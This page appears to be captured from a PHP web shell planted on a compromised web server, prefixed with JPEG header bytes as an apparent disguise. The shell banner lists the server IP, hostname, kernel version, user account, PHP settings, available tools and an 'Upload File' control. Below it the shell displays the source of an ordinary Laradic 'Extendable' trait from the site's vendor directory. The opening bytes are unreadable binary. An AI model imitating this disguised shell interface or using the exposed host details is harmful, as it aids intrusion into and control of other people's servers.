ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/public_html/vendor/laradic/support/src/Traits/ |
Upload File : |
<?php
/**
* Part of the Docit PHP packages.
*
* License and copyright information bundled with this package in the LICENSE file
*/
namespace Laradic\Support\Traits;
use BadMethodCallException;
use Closure;
use Illuminate\Contracts\Container\Container;
use Laradic\Support\Str;
/**
* This is the class Extendable.
*
* @package Laradic\Support
* @author Docit
* @copyright Copyright (c) 2015, Docit. All rights reserved
*/
trait Extendable
{
/**
* getContainer method
*
* @return Container
*/
abstract public function getContainer();
protected static $extensions = [ ];
protected static $components = [ ];
protected $componentInstances = [ ];
public static function extensions()
{
return array_keys(static::$extensions);
}
public static function extend($name, $extension)
{
if (is_string($extension) && !Str::contains($extension, '@')) {
static::$components[ $name ] = $extension;
} else {
static::$extensions[ $name ] = $extension;
}
}
/**
* callExtension method
*
* @private
*
* @param $name
* @param $parameters
*
* @return mixed
*/
protected function callExtension($name, $parameters)
{
$callback = static::$extensions[ $name ];
if ($callback instanceof Closure) {
return call_user_func_array($callback->bindTo($this, get_class($this)), $parameters);
} elseif (is_string($callback) && Str::contains($callback, '@')) {
return $this->callClassBasedExtension($callback, $parameters);
}
}
/**
* callClassBasedExtension method
*
* @private
* @param $callback
* @param $parameters
*
* @return mixed
*/
private function callClassBasedExtension($callback, $parameters)
{
list($class, $method) = explode('@', $callback);
$instance = $this->getContainer()->make($class, [
'parent' => $this
]);
return call_user_func_array([ $instance, $method ], $parameters);
}
/**
* getClassInstanceExtension method
*
* @param $name
* @private
*
* @return mixed
*/
private function getClassInstanceExtension($name)
{
$extension = static::$components[ $name ];
if (is_string($extension) && class_exists($extension)) {
if (!array_key_exists($name, $this->componentInstances)) {
$this->componentInstances[ $name ] = $this->getContainer()->make($extension, [
'parent' => $this
]);
}
return $this->componentInstances[ $name ];
}
}
public function __call($name, array $params = [ ])
{
if (array_key_exists($name, static::$extensions)) {
return $this->callExtension($name, $params);
}
throw new BadMethodCallException("Method [$name] does not exist.");
}
public function __get($name)
{
if (array_key_exists($name, static::$components)) {
return $this->getClassInstanceExtension($name);
}
}
}